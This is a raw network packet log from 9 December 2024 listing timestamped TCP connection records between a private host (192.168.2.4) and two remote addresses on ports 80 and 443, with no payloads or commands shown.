Dec 9, 2024 23:09:37.798626900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.814513922 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.834661007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.854871988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.874910116 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.876456022 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.876485109 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.876512051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.905699968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.905894995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.906083107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.906176090 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.906940937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.907059908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.907856941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.915421009 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.915760040 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.915776014 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.949831009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.949855089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.950176001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.950253963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.951157093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.951230049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.951829910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.951905966 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.952708006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.952866077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.953521967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.953624964 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.954391003 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.954503059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.955224037 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.955379963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.955776930 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.956053019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.956183910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.956978083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.957062006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.957808971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.958008051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.958610058 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.958729029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.959475994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.959585905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.960361004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.960472107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.961163998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.961265087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.961798906 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.961833954 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.961877108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.962027073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.962131023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.962151051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.962872982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.962959051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.963121891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.963294983 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.963315964 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.963386059 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.963675022 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.963685036 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.963712931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.963793039 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.963807106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.964118004 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.964623928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.964740038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.965449095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.965568066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.966234922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.966389894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.967139959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.967230082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.967339993 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.967941046 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.968063116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.968141079 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.968796968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.968926907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.969660997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.969783068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.970499992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.970597029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.971909046 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.972131968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.972239971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.972362041 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.972398043 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.972769976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.973026991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.973145962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.973877907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.973982096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.974724054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.974833965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.975577116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.975692034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.975966930 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.976437092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.976551056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.977267981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.977375984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.978128910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.978245974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.978986979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.979101896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.979835033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.979948997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.980664015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.980751038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.981518984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.981601000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.982383013 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.982502937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.983258009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.983463049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.984179974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.984286070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.984918118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.985023022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.985764980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.985882044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.986598015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.986711979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.987446070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.987474918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.987546921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.988303900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.988394022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.989197016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.989279032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.990019083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.990068913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.990900040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.990976095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.995160103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.995160103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.995187998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.097949982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.098047972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.098351955 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.098392010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.099236965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.099256992 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.099320889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.099368095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.100168943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.100263119 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.141875982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.141923904 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.142000914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.142040968 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.142287970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.142329931 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.142360926 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.142400980 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.142999887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.143148899 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.143809080 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.143836975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.144638062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.144757032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.145473003 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.145534992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.146289110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.146397114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.146665096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.146727085 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.147149086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.147260904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.147388935 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.148017883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.148061991 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.148099899 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.148142099 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.148880005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.148920059 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.148962975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.149003029 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.149693966 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.149735928 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.149780035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.149820089 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.150547981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.150753021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.151022911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.151405096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.151534081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.152246952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.152354956 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.153086901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.153194904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.153940916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.154005051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.154777050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.154845953 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.155646086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.155762911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.156492949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.156501055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.156616926 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.156977892 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.157010078 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.157341957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.157422066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.157478094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.157512903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.158199072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.158242941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.159133911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.159205914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.159878969 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.160041094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.160614967 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.160725117 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.160821915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.160854101 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.161569118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.161946058 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.162440062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.162617922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.163285971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.163407087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.164197922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.164280891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.165071964 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.165246010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.165838003 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.165896893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.166672945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.166781902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.167527914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.167638063 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.167759895 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.167774916 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.167788982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.168133974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.168369055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.168463945 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.168467999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.168520927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.169192076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.169301033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.170063972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.170123100 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.170952082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.171051979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.171829939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.171859980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.172635078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.172858000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.173460007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.173537970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.174300909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.174405098 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.174418926 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.174474955 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.175162077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.175282001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.175352097 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.176134109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.176145077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.176915884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.176975012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.177721977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.177742004 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.177830935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.178555965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.178683043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.179409027 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.179527998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.180231094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.180326939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.181092978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.181310892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.181943893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.182111025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.182794094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.182857037 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.189090014 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.189239025 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.189508915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.290292978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.290437937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.290730953 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.290853024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.290889978 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.290932894 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.291547060 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.291640043 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.291692972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.291750908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.292402029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.292460918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.334589958 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.334645987 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.334682941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.334738016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.334738016 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.334749937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.334788084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.335535049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.335586071 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.335629940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.335681915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.336422920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.336503983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.336529016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.337250948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.337308884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.337364912 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.337690115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.338048935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.338089943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.338165045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.338211060 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.338906050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.338957071 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.338983059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.339098930 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.339751005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.339799881 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.339860916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.339911938 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.340601921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.340650082 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.340728045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.340771914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.341465950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.341553926 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.341588020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.342161894 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.342314959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.342363119 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.342470884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.342525959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.343249083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.343300104 CET	49838	80	192.168.2.4	185.215.113.16
